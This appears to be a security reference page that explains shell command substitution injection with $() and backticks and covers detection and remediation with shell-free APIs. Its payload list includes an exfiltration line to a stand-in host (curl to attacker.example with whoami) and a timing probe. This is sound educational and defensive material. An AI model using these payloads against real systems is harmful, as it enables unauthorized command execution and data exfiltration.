Skip to content

Command substitution injection with $() and backticks

Command substitutionLinux / Unix

Command substitution injection abuses the shell's `$(...)` and backtick syntax, which runs a nested command and replaces it with its output. Because substitution is evaluated even inside double quotes, it is a reliable way to inject a command where simple separators are blocked or where the input sits within a quoted argument.

How it works

The shell expands `$(cmd)` and `` `cmd` `` by executing `cmd` first and substituting its standard output into the surrounding command line. This happens during the same parsing pass that handles variables, and critically it still happens inside double quotes.

If an application builds `sh -c "echo \"$INPUT\""` and the attacker controls `$INPUT`, a value of `$(id)` executes `id` and inlines the result — no semicolon or pipe required. This makes substitution a strong primitive for injecting inside quoted contexts and for capturing output into blind channels.

Representative payloads

Illustrative fragments for authorized testing. The injected marker commands (id, whoami) are harmless proofs of execution — swap in your engagement’s agreed markers.

  • $(id)

    Linux / UnixRuns `id` and substitutes its output. Works inside double quotes where `;` would be treated as literal text.

  • `id`

    Linux / UnixBacktick form of command substitution; equivalent to $(id) and useful when $() is filtered.

  • $(curl http://attacker.example/$(whoami))

    Linux / UnixNested substitution: resolves whoami first, then exfiltrates it in an outbound request — a blind/out-of-band primitive.

  • a$(sleep 5)b

    Linux / UnixEmbeds substitution in the middle of a token to prove execution via a timing delay when there's no output.

When it works

  • Input reaches a shell and lands inside double quotes or an unquoted context (substitution is suppressed only inside single quotes).
  • Separators like ; and | are filtered but $ , ( , ) or backticks are not.

When it fails

  • The value is strictly single-quoted and the single quote cannot be injected.
  • No shell is involved — an argv array passes $(...) as literal characters.

Detection

Flag $(...) and backtick sequences in inputs, and correlate with nested or outbound child processes.

Signals to look for

  • Parameters containing $(, backticks, or ${ in command-driving fields.
  • Process trees where the application spawns an intermediate command that itself spawns another (substitution nesting).
  • Outbound DNS/HTTP from the app host immediately after a suspicious request (exfiltration via nested substitution).

Where to look

auditd execveEDR process-tree telemetryDNS / egress proxy logs

Remediation

The correct fix: Run commands without a shell using an argv array; $(...) and backticks are then inert literal characters.

Principles

  • Shell-free execution neutralises substitution completely — it is only meaningful to a shell.
  • Single-quoting is not a fix on its own because a single quote in the input can break out.
  • Validate values that must be simple (hostnames, numeric IDs) with an allowlist.

Safe APIs by runtime

Node.js

execFile/spawn with an args array (no shell).

execFile("dig", ["+short", host]);
Python

subprocess.run([...]) with shell=False.

subprocess.run(["dig", "+short", host])
Ruby

Use the multi-argument form of system/exec; avoid backticks and %x{} on user input.

system("dig", "+short", host)

Not a fix: Removing '$' or parentheses from input. Backticks, brace expansion and partial quoting defeat the filter while the shell remains the executor.

For the full secure-coding matrix across languages, see the command injection prevention guide.

References

Related techniques